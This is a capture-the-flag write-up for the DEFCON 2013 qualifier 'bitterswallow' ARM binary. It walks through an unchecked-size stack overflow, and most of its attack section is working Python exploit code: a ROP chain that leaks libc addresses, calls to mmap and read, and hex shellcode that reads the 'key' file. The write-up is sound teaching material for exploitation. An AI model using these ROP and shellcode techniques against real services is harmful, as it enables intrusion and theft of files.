DEFCON 2013 Quals: BittersWallow - Exploitation (0x41414141) 1
Score 1
Link http://assets-2013.legitbs.net/liabilities/bs
This binary was compiled for the ARM architecture, and our goal was to exploit it to get the “key” file on the remote server. The first part of the binary does the setup of all the common things found in pwnables, including:
- opening a socket
- identifying itself as a pre-define user (bitterswallow)
- dropping privileges
The interesting part comes after, in a function called ff
. The first thing
it does is send some text:
Welcome to the sums.
Are you ready? (y/n):
And wait for an answer. It then compares it to ‘y’ or ‘Y’. If the answer is different it simply closes the connection. Once this is done we enter a loop where two functions are called.
The first one waits for an input of one byte and then goes into a big switch
according to this byte. All the cases but one come back to the same point
(0xa114
) where it waits for another user input which is the length of a
future message. The length sent can’t be over 0x400. The particular case,
triggered with value 0x1a
, doesn’t check this and doesn’t even ask for any
length.
The pseudo C code for this function is :
int get_meta(int fd, int *input, int *value_get) {
int choice;
int value;
long long int size;
if (!input || !value_get || !recvdata(fd, &choice, 1))
return 0;
*input = choice;
switch (choice & 0x3f) {
case 0:
value = 0x32444d; // Some value?
break;
// ...
case 0x1a:
goto last;
// ...
default:
break;
}
if (!recvdata(fd, &size, 2))
return 0;
if (size > 0x400)
size = 0x400;
last:
size = (size << 16) >> 16;
*value_get = value;
return size;
}
Then a second function is called. It receives data of the size returned by the
first one in a buffer of 0x400
, and then computes a hash (depending on the
values chosen in the first function), except for the case 0x1a
which doesn’t
compute the hash. It then sends this hash and asks if we want do all the loop
again.
Here is the pseudo C code for this function :
int compute(int fd, int size, int input, int value_get) {
int res_recv;
char buf[0x400];
char buf_hash[0x40];
memset(buf, 0, 0x400);
memset(buf_hash, 0, 0x40);
printf("%x %x %x\n", size, input, value_get);
recvdata(fd, buf, size);
switch (input & 0x3f) {
case 0 :
res_recv = ...
hash(buf, size, buf_hash);
break;
...
case 0x1a :
res_recv = 0;
break;
...
default:
break;
}
send_data(fd, buf_hash, res_recv);
send_string(fd, "Would you like to sum another? (y/n): ");
recvdata(fd, &res_recv, 1);
if (res_recv == 'y' || res_recv == 'Y')
return 1;
else
return 0;
}
In the caller of this function the loop will continue or it will stop. To
exploit this function the goal is to change the size that returns the first
function being used with the second one. Since the case 0x1a
doesn’t do any
check, we will use it to return the false size and then rewrite our stack to
use Return-Oriented-Programming.
To rewrite the size we can use the second function that writes on the same part of the stack, the content of size is in the same place than the end of the hash buffer.
So we need to:
- do a normal computation that rewrites something at the place of size
- do another iteration with the choice 0x1a and rewrite all our stack.
One of the problems that we need to take care of is not to have a value which is too big because we risk to rewrite all of our stack which can make our exploit fail.
_recv("Welcome to the sums.\n")
_recv("Are you ready? (y/n): ")
_send("y")
_send(b"\x32") # case 50 : sha512
_send(b"\x00\x03") # send a size
_send("x" * 0x300) # send a value, with this we have a size of 0x7b3
while len(_recv(1024)) == 1024: # pass all the writing
pass
_send("y") # say yes to do an other one
_send(b"\x1a") # case 0x1a : doesn't check the size
# Here we can send the data for rewritting our stack
At this point we can rewrite our stack but we don’t have any address from the libc so we can’t do a lot of things. There is no syscall in the binary so we can’t do anything with full ROP yet.
The first thing to do is to leak some information on the libc, like an address
from the GOT which gives us the information on where libc is mapped. We chose
to leak the address of getpwnam
(but any other function could work).
To leak the address of getpwnam
we needed to call the send_data
function
(0x1d9fc
) on the position of the entry for getpwnam
in the GOT. The first
arguments of a function in ARM are given through the registers r0, r1, r2
and R3, so we needed some gadget that takes values from the stack and puts
them in the registers that we need. The gadget we used to do this is in
__libc_csu_init
:
loc_1E3C4
LDR R3, [R5], #4
MOV R0, R6 ; loc_1E3C8
MOV R1, R7
MOV R2, R8
ADD R4, R4, #1
BLX R3
CMP R4, R10
BNE loc_1E3C4
loc_1E3E4:
LDMFD SP!, {R3-R8, R10, PC}
If we go to 0x1e3e4
we can put values in registers from r3 to r8, r10
and chose the position of return from our stack. In 0x1e3c8
we can copy the
values from r6 to r8 in r0 to r2 (our first arguments) and then call
the function stored in r3 and if we put the good value in r4 and r10 we
will have our first gadget again. Note that if we need to make a call with some
values in registers like r3 (something other than the function address), we
can call our first gadget and have these values in the stack too (useful to
call mmap).
So we now have everything we need to leak the address from the libc
. Here is
the code we used to do so:
import struct
import socket
import sys
HOST = 'bitterswallow.shallweplayaga.me'
PORT = 6492
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
def _send(st, end=b''):
if isinstance(st, str):
st = bytes(st, 'utf-8')
st += end
print('Send:', repr(st))
return s.send(st)
def _recv(l):
if isinstance(l, str):
l = len(l)
r = s.recv(l)
if r:
print('Recv:', repr(r))
return r
def _pack(i):
return struct.pack('<I', i)
def _unpack(b):
return struct.unpack('<I', b)[0]
PIVOT_ADDR = 0x1e3e4
PIVOT2_ADDR = 0x1e3c8
SENDDATA_ADDR = 0x1d9fc
FF_ADDR = 0x8dfc
GETPWNAM_GOT_ADDR = 0x27114
SOCKET_FD = 4
USELESS = 0x46474849
# length of 8 int
def _call_func(addr, arg1, arg2, arg3):
payload = _pack(addr) # call addr.
payload += _pack(0) # counter loop (r4)
payload += b'\x41' * 4 # padding.
payload += _pack(arg1) # first arg (r6) (fd)
payload += _pack(arg2) # second arg (r7) (data)
payload += _pack(arg3) # third arg (r8) (length)
payload += _pack(1) # counter higher stone. (r10)
payload += _pack(PIVOT2_ADDR) # next addr (pc)
return payload
def _send_bof(payload):
p = b"a" * 0x440
p += _pack(0x41424344)
p += _pack(PIVOT_ADDR)
p += payload
p += b'y' * (0x7b3 - len(p)) # 0xe70
_send(p)
def pass_menu():
_recv("Welcome to the sums.\n")
_recv("Are you ready? (y/n): ")
_send("y")
_send(b"\x32") # case 50 : sha512
_send(b"\x00\x03") # send a size
_send("x" * 0x300) # send a value, with this we have a size of 0x7b3
while len(_recv(1024)) == 1024: # pass all the writing
pass
_send("y") # say yes to do an other one
_send(b"\x1a") # case 0x1a : doesn't check the size
input('Ready?')
# Stage 1:
pass_menu() # we get pass the menu
payload = _call_func(SENDDATA_ADDR, SOCKET_FD, GETPWNAM_GOT_ADDR, 40)
payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS)
_send_bof(payload) #we send our payload
_send("y") # we send this because we need a flush
addrs = _recv(38)
addrs = _recv(40)
addrs = _recv(40) # the four first char are the address of getpwnam in the libc
Now that we have the address of getpwnam
, we can leak information from the
libc.
At this point you have two possibilities: you can leak all the libc, compute
the offset of a function compared to the address of getpwnam
and call it
(ret2libc). The other possibility is to leak part of the libc and find some
gadgets in there to finish the exploitation with full ROP. We chose to try and
search syscalls in the libc, so the second option.
When leaking the instructions from the libc we look for one particular
instruction : a syscall (svc 0, opcode 0x000000ef
)
We find this instruction in getpwnam
implementation: the syscall was at the
offset 428. (This offset changes depending on your libc so you should
recompute them if you are not using the exact same libc). The gadget for the
syscall is:
SVC 0
B loc_AAA
loc_AAA:
LDR R0, [SP, 0x14]
ADD SP, SP, 0x18
LDMFD SP!, {R4-R10, PC}
The gadget for the pop is :
LDMFD SP!, {R4-R10, PC}
In order to leak the offset we use the following code :
pass_menu()
print("Addr: ", addrs)
payload = _call_func(SENDDATA_ADDR, SOCKET_FD, _unpack(addrs[:4]), 4096)
payload += _call_func(FF_ADDR, SOCKET_FD, USELESS, USELESS)
_send_bof(payload)
_send("y")
while len(_recv(1024)) == 1024:
pass
while len(_recv(1024)) == 1024:
pass
CHUNK = 1024
r = _recv(CHUNK)
res = r
while len(r) == CHUNK:
r = _recv(CHUNK)
res += r
_send('y')
while len(r) == CHUNK:
r = _recv(CHUNK)
res += r
_send('y')
while len(r) == CHUNK:
r = _recv(CHUNK)
res += r
print(' RES:', res[:12])
for i in range(len(res) // 4):
opcode = _unpack(res[i * 4:(i + 1) * 4])
if opcode == 0xef000000: # looking for the syscall
print('Found syscall opcode at offset:', i * 4)
print('Buff:', res[i * 4:(i + 5) * 4])
_send("y")
while len(_recv(1024)) == 1024:
pass
_send("y")
while len(_recv(1024)) == 1024:
pass
Now that we have the offset of our gadget we can ROP. Our goal is to call mmap
and then to read from our input into the allocated page and finally to execute
it.
The following code will do that :
MMAP_BUF_ADDR = 0x13371000
MMAP_SYSCALL = 192
READ_SYSCALL = 3
OFFSET = 428
GETPWNAM_ADDR = _unpack(addrs[:4])
print('getpwnam addr:', hex(GETPWNAM_ADDR))
pass_menu()
# jump to pivot addr and put some stuf in the register for the syscall
payload = _call_func(PIVOT_ADDR, MMAP_BUF_ADDR, 4096, 7)
payload += _pack(0x32) # some flag
payload += _pack(0x41424344) * 3 # padding
payload += _pack(MMAP_SYSCALL) # the number of the syscall is in r7
payload += _pack(0x41424344) * 2 #padding
payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall
payload += _pack(0xffffffff) # padding
payload += _pack(0) * 12 # padding
payload += _pack(PIVOT_ADDR) # return addr
# pushing again for an other syscall
payload += _call_func(PIVOT_ADDR, SOCKET_FD, MMAP_BUF_ADDR, 4096)
payload += _pack(0x41424344) * 4 # padding
payload += _pack(READ_SYSCALL) # the number of the syscall
payload += _pack(0x41424344) * 2 # padding
payload += _pack(GETPWNAM_ADDR + OFFSET) # addr of the syscall gadget
payload += _pack(0) * 13 # padding
payload += _pack(MMAP_BUF_ADDR) # the last return to our shellcode
_send_bof(payload)
_recv(1024)
_send('y')
_recv(1024)
At this point we only needed to send it the shellcode. We wrote one that was pretty simple :
- open the file “key”.
- read its content.
- write the buffer read on the socket.
Here is the final code for sending the shellcode and recv the result :
# sending shellcode.
# fd = open("key"); read(fd, addr_in_stack, 255); write(socket_fd, addr_in_stack, 255);
shellcode = '0f00a0e1400080e20010a0e30570a0e3000000ef01dc4de201dc4de20d10a'
shellcode += '0e1ff20a0e30370a0e3000000ef0400a0e30d10a0e1ff20a0e30470a0e30'
shellcode += '00000ef01dc8de201dc8de26b65790000000000'
_send(bytes.fromhex(shellcode))
while _recv(1024):
pass
You can find the complete exploit here.